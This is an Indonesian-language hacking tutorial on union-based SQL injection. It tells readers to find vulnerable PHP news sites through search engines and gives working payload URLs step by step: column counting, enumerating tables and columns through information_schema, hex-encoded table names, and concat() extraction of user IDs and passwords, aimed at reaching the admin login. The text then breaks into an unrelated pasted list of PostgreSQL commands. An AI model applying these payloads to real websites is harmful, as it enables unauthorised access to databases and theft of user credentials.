sepintas tekhnik ini sama dengan tekhnik SQL pada umumnya...
Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
###################
## +step Satu+ ##
###################
carilah target
salah satunya menggunakan search engine pada google !!
sebagai penjelasan klik disini
misal: [site]/berita.php?id=
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100
###################
## +step dua+ ##
###################
mencari dan menghitung jumlah table yang ada dalam databasenya...
seperti yang kita ketahui bersama pada SQL injection untuk menghitung jumlah table pada databasenya
menggunakan perintah : order by
contoh :
[site]/berita.php?id=-12 order by 1--
[site]/berita.php?id=-12 order by 2--
hingga muncul pesan error...
*namun untuk kasus tertentu order by tidak dapat digunakan ...
pada blind SQL kita dapat mengetahui jumlah table yang ada dengan cara Melakukan column count !!!
contoh melakuan column count :
union select diikuti dengan angka.
maka: [site]/berita.php?id= union select 1/*
maka: [site]/berita.php?id= union select 1,2/*
maka: [site]/berita.php?id= union select 1,2,3/*
hingga keluar angka pada tampilan web target
anggap yang keluar sampai angka 9
ok angka yg keluar angka 9 dan 2
###################
## +step tiga+ ##
###################
menampilkan table...
pada SQL injection untuk menampilkan table adalah memasukkan perintah group_concat(table_name) pada angka yg keluar tadi
dan perintah +from+information_schema.tables+where+table_schema =database() setelah angka terakhir
contoh :
[site]/berita.php?id=-12+union+select+1,2,3,4,group_concat(table_name),6 ,7,8+from+information_schema.tables+where+table_sc hema=database()--
jika gagal kita dapat mengganti querynya
query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1
masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"
menjadi , [site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*
disini saya menggunakan 2.
####################
## +step empat+ ##
####################
mengeluarkan table_name yang lain.
untuk mengeluarkan table_name yang lain ganti nilai limit menjadi , 1,1 , 2,1 , 3,1 ....
hingga mendapatkan table yang kita inginkan !!!
contoh:
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 3,1/*
dan contoh hasilnya :
1,1 : aktual_berita
2,1 : aktual_kategori
3,1 : berita
4,1 : category
5,1 : iklan
10,1: user
dan tabel yang kita butuhkan ada pada limit 10,1 ( user )
###################
## +step lima+ ##
###################
ada tahap ini kamu wajib mengekstrax kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
ascii-convert.tk
kata user menjadi : 75736572
maka :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=user limit 0,1/*
menjadi
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
untuk mengetahui isi pada table user anda dapat mengganti nilai limit :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*
dan hasilnya :
0,1 : userid
1,1 : password
1,2 : description
1,3 : auth
* Setiap bilangan hexa harus di tambah 0x
contoh : bilangan hexa dari indonesiacoder = 696E646F6E65736961636F646572
bila di gunakan akan menjadi = 0x696E646F6E65736961636F646572
###################
## +step enam+ ##
###################
mengeluarkan field .
query yang kita gunakan adalah : UNION SELECT column_name FROM table_name
column_name :userid, password
table_name :user
masukan column_name pada angka yang keluar kemudian FROM table_name
menjadi,
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from table_name/*
contoh
[site]/berita.php?id=-12 union select 1,password,3,4,5,6,7,8,9 from user/*
* Mengunakan Concatenation
Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)
contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9
bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.
contoh :
[site]/berita.php?id=-12 union select 1,concat(0x3C3D3E,userid,0x3a,password,0x3a,descri ption,0x3C3D3E),3,4,5,6,7,8,9 from user/*
###################
## +step enam+ ##
###################
tahap terakhir mencari halaman admin atau login
ABORT -- abort the current transaction
ALTER DATABASE -- change a database
ALTER GROUP -- add users to a group or remove users from a group
ALTER TABLE -- change the definition of a table
ALTER TRIGGER -- change the definition of a trigger
ALTER USER -- change a database user account
ANALYZE -- collect statistics about a database
BEGIN -- start a transaction block
CHECKPOINT -- force a transaction log checkpoint
CLOSE -- close a cursor
CLUSTER -- cluster a table according to an index
COMMENT -- define or change the comment of an object
COMMIT -- commit the current transaction
COPY -- copy data between files and tables
CREATE AGGREGATE -- define a new aggregate function
CREATE CAST -- define a user-defined cast
CREATE CONSTRAINT TRIGGER -- define a new constraint trigger
CREATE CONVERSION -- define a user-defined conversion
CREATE DATABASE -- create a new database
CREATE DOMAIN -- define a new domain
CREATE FUNCTION -- define a new function
CREATE GROUP -- define a new user group
CREATE INDEX -- define a new index
CREATE LANGUAGE -- define a new procedural language
CREATE OPERATOR -- define a new operator
CREATE OPERATOR CLASS -- define a new operator class for indexes
CREATE RULE -- define a new rewrite rule
CREATE SCHEMA -- define a new schema
CREATE SEQUENCE -- define a new sequence generator
CREATE TABLE -- define a new table
CREATE TABLE AS -- create a new table from the results of a query
CREATE TRIGGER -- define a new trigger
CREATE TYPE -- define a new data type
CREATE USER -- define a new database user account
CREATE VIEW -- define a new view
DEALLOCATE -- remove a prepared query
DECLARE -- define a cursor
DELETE -- delete rows of a table
DROP AGGREGATE -- remove a user-defined aggregate function
DROP CAST -- remove a user-defined cast
DROP CONVERSION -- remove a user-defined conversion
DROP DATABASE -- remove a database
DROP DOMAIN -- remove a user-defined domain
DROP FUNCTION -- remove a user-defined function
DROP GROUP -- remove a user group
DROP INDEX -- remove an index
DROP LANGUAGE -- remove a user-defined procedural language
DROP OPERATOR -- remove a user-defined operator
DROP OPERATOR CLASS -- remove a user-defined operator class
DROP RULE -- remove a rewrite rule
DROP SCHEMA -- remove a schema
DROP SEQUENCE -- remove a sequence
DROP TABLE -- remove a table
DROP TRIGGER -- remove a trigger
DROP TYPE -- remove a user-defined data type
DROP USER -- remove a database user account
DROP VIEW -- remove a view
END -- commit the current transaction
EXECUTE -- execute a prepared query
EXPLAIN -- show the execution plan of a statement
FETCH -- retrieve rows from a table using a cursor
GRANT -- define access privileges
INSERT -- create new rows in a table
LISTEN -- listen for a notification
LOAD -- load or reload a shared library file
LOCK -- explicitly lock a table
MOVE -- position a cursor on a specified row of a table
NOTIFY -- generate a notification
PREPARE -- create a prepared query
REINDEX -- rebuild corrupted indexes
RESET -- restore the value of a run-time parameter to a default value
REVOKE -- remove access privileges
ROLLBACK -- abort the current transaction
SELECT -- retrieve rows from a table or view
SELECT INTO -- create a new table from the results of a query
SET -- change a run-time parameter
SET CONSTRAINTS -- set the constraint mode of the current transaction
SET SESSION AUTHORIZATION -- set the session user identifier and the current user identifier of the current session
SET TRANSACTION -- set the characteristics of the current transaction
SHOW -- show the value of a run-time parameter
START TRANSACTION -- start a transaction block
TRUNCATE -- empty a table
UNLISTEN -- stop listening for a notification
UPDATE -- update rows of a table
VACUUM -- garbage-collect and optionally analyze a database
|